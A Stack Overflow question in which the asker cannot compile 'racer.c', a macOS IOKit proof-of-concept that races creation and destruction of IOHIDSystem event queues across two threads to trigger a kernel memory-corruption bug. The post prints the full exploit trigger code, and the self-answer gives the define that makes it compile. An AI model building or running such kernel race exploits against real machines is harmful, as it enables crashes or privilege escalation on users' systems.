0

Is my headers corrupted or something? or is something missing ? I already uninstalled and deleted everything and all the folders xcode made in /Library and did a fresh reinstall and yet im still gettin errors such as:

Heres my command :

clang -o racer racer.c -framework IOKit

Errors:

typedef uintptr_t               vm_offset_t __kernel_ptr_semantics;
                                           ^
/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/mach/arm/vm_types.h:107:50: error: expected ';' after top level declarator
typedef uint64_t                mach_vm_address_t __kernel_ptr_semantics;
                                                 ^
/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/mach/arm/vm_types.h:108:49: error: expected ';' after top level declarator
typedef uint64_t                mach_vm_offset_t __kernel_ptr_semantics;
                                                ^
/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/mach/arm/vm_types.h:111:48: error: expected ';' after top level declarator
typedef uint64_t                vm_map_offset_t __kernel_ptr_semantics;
                                                           ^~~~~~~~~~~~~~~~~~~~~~~~~
1 warning and 10 errors generated.

Summary of the terminal output it's repetitive in multiple default XCode headers i've tried compiling in xcode itself and clang and each one didn't work for me

Heres the Sample Code from a POC exploit I'm trying to compile

//  racer.c
//  race
//
//  Created by Booty Warrior on 7/19/22.
//


#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>

#include <IOKit/IOKitLib.h>
#include <pthread.h>

io_connect_t conn = MACH_PORT_NULL;

uint32_t callCreate(io_connect_t conn) {
    kern_return_t err;
    uint64_t inputScalar[16];
    uint32_t inputScalarCnt = 2;

    inputScalar[0] = 0;
    inputScalar[1] = 32;

    char inputStruct[4096];
    size_t inputStructCnt = 0;

    uint64_t outputScalar[16];
    uint32_t outputScalarCnt = 1;

    char outputStruct[4096];
    size_t outputStructCnt = 0;

    err = IOConnectCallMethod(
      conn,
      0,
      inputScalar,
      inputScalarCnt,
      inputStruct,
      inputStructCnt,
      outputScalar,
      &outputScalarCnt,
      outputStruct,
      &outputStructCnt);
    if (err != KERN_SUCCESS){
      printf("unable to createEventQueue 0x%x\n", err);
    }

    return outputScalar[0];
}

void callDestroy(io_connect_t conn, uint32_t queueID) {
    kern_return_t err;
    uint64_t inputScalar[16];
    uint32_t inputScalarCnt = 2;

    inputScalar[0] = 0;
    inputScalar[1] = queueID;

    char inputStruct[4096];
    size_t inputStructCnt = 0;

    uint64_t outputScalar[16];
    uint32_t outputScalarCnt = 0;

    char outputStruct[4096];
    size_t outputStructCnt = 0;

    err = IOConnectCallMethod(
      conn,
      1,
      inputScalar,
      inputScalarCnt,
      inputStruct,
      inputStructCnt,
      outputScalar,
      &outputScalarCnt,
      outputStruct,
      &outputStructCnt);
    if (err != KERN_SUCCESS){
      printf("unable to destroyEventQueue 0x%x\n", err);
    }
}

void race(uint32_t queueID) {
    callDestroy(conn, queueID);
}

int main1(void)
{
    kern_return_t err;

    CFMutableDictionaryRef matching = IOServiceMatching("IOHIDSystem");
    if(!matching){
      printf("unable to create service matching dictionary\n");
      return 0;
    }

    io_iterator_t iterator;
    err = IOServiceGetMatchingServices(kIOMainPortDefault, matching, &iterator);
    if (err != KERN_SUCCESS){
      printf("no matches\n");
      return 0;
    }

    io_service_t service = IOIteratorNext(iterator);

    if (service == IO_OBJECT_NULL){
      printf("unable to find service\n");
      return 0;
    }
    printf("got service: %x\n", service);

    err = IOServiceOpen(service, mach_task_self(), 3, &conn);
    if (err != KERN_SUCCESS){
      printf("unable to get user client connection\n");
      return 0;
    }
    
    printf("got userclient connection: %x\n", conn);

    while(1) {
        uint32_t queueID = callCreate(conn);

        pthread_t t;
        pthread_create(&t, NULL, (void *(*)(void *)) race, (void*) (uint32_t)queueID);

        callDestroy(conn, queueID);

        pthread_join(t, NULL);
    }

    return 0;
}

My Mac Version is Mac Montery M1 Macbook air 12.3.1 with xcode version 13.4.1 Thanks for any help, tips, or solutions...

  • did you read the error messages? – jsotola Jul 23 '22 at 17:01
  • Edit the question to provide a [mre]. – Eric Postpischil Jul 23 '22 at 18:06
  • 1
    What exactly are you trying to build? `__kernel_ptr_semantics` surely isn't something you use in an ordinary program. And if you try to build a kernel driver, I assume it would requires *lots* of specific options to the compiler, – BoP Jul 23 '22 at 18:56
  • At minimum, you're going to have to post the code leading up to the `#include`s where these errors are coming from. It looks like line 17 from racer.c is `#include `. What's on the lines before? Seems like you might have a syntax error there. – pmdj Jul 23 '22 at 20:26
  • Edit the question to contain a [mre]. Do not link to external sites. Reduce the problem file to a few lines that reproduces the question (you do not need more than 17) and post its exact contents in the question. Also state exactly what version of macOS you are using and what version of Xcode you are using. – Eric Postpischil Jul 23 '22 at 22:54
  • Re “this is obviously a default headers fault”: No, it is not. The fact the compiler first detects a problem while processing a header file does not mean the cause of the problem is in the header file. An error message such as shown in the question is commonly seen when there is an error in the source file just before it includes a header file. Additionally, you have pointed to some source code that has `#include ` on line 9 or 11, but the error messages indicate that is on line 17 in your `racer.c`, so we know your file is **not the same** as the one you link to. – Eric Postpischil Jul 23 '22 at 22:56
  • @EricPostpischil that was needed because all of them were separate issues there is a bunch of other issues that the terminal outputed – Terrance Turner Jul 23 '22 at 22:56
  • @EricPostpischil it is literally the exact same all i did was add // comments hence why the lines don't match but i will update the post to make it "neater" and less lines – Terrance Turner Jul 23 '22 at 22:58
  • @EricPostpischil post is now cleaner and edited let me know if i should do anything else to the post etc – Terrance Turner Jul 23 '22 at 23:04

1 Answers1

0

got help from outside source they stated putting #define __kernel_ptr_semantics at the very top of the Code which worked for me.

  • Your answer could be improved with additional supporting information. Please [edit] to add further details, such as citations or documentation, so that others can confirm that your answer is correct. You can find more information on how to write good answers [in the help center](/help/how-to-answer). – Community Jul 26 '22 at 13:54